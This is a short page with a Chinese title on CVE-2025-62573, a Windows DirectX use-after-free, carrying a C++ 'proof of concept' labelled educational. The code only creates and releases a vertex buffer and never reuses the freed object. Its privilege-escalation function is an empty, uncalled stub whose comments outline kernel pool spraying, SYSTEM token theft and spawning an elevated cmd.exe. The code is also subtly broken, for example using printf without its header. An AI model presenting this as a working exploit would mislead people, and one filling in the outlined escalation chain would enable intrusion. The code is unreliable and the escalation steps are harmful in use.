CVE-2025-62573 Windows DirectX使用后释放权限提升漏洞

// CVE-2025-62573 Windows DirectX Use-After-Free PoC // This is a conceptual PoC for educational purposes only #include <windows.h> #include <d3d9.h> #include <d3d11.h> #pragma comment(lib, "d3d9.lib") #pragma comment(lib, "d3d11.lib") // Function to trigger the UAF condition in DirectX void TriggerUAF() { // Initialize Direct3D 9 LPDIRECT3D9 d3d = Direct3DCreate9(D3D_SDK_VERSION); if (!d3d) return; D3DPRESENT_PARAMETERS d3dpp = {0}; d3dpp.Windowed = TRUE; d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; d3dpp.hDeviceWindow = GetDesktopWindow(); LPDIRECT3DDEVICE9 pDevice = NULL; HRESULT hr = d3d->CreateDevice( D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, d3dpp.hDeviceWindow, D3DCREATE_SOFTWARE_VERTEXPROCESSING, &d3dpp, &pDevice ); if (SUCCEEDED(hr) && pDevice) { // Create and release resources to trigger UAF LPDIRECT3DVERTEXBUFFER9 pVertexBuffer = NULL; // Allocate vertex buffer pDevice->CreateVertexBuffer( 1024, D3DUSAGE_DYNAMIC, D3DFVF_XYZ, D3DPOOL_DEFAULT, &pVertexBuffer, NULL ); // Trigger release condition // In real exploit, this would involve specific timing if (pVertexBuffer) { // Release while holding reference pVertexBuffer->Release(); // UAF: Access released object // This would trigger the vulnerability // In real scenario: pVertexBuffer pointer still used } pDevice->Release(); } d3d->Release(); } // Kernel exploitation primitives void EscalatePrivileges() { // In real exploit: // 1. Spray kernel pool with controlled data // 2. Trigger UAF to get arbitrary read/write // 3. Locate and modify SYSTEM process token // 4. Spawn cmd.exe with elevated privileges } int main() { printf("CVE-2025-62573 PoC - Educational Use Only\n"); TriggerUAF(); return 0; }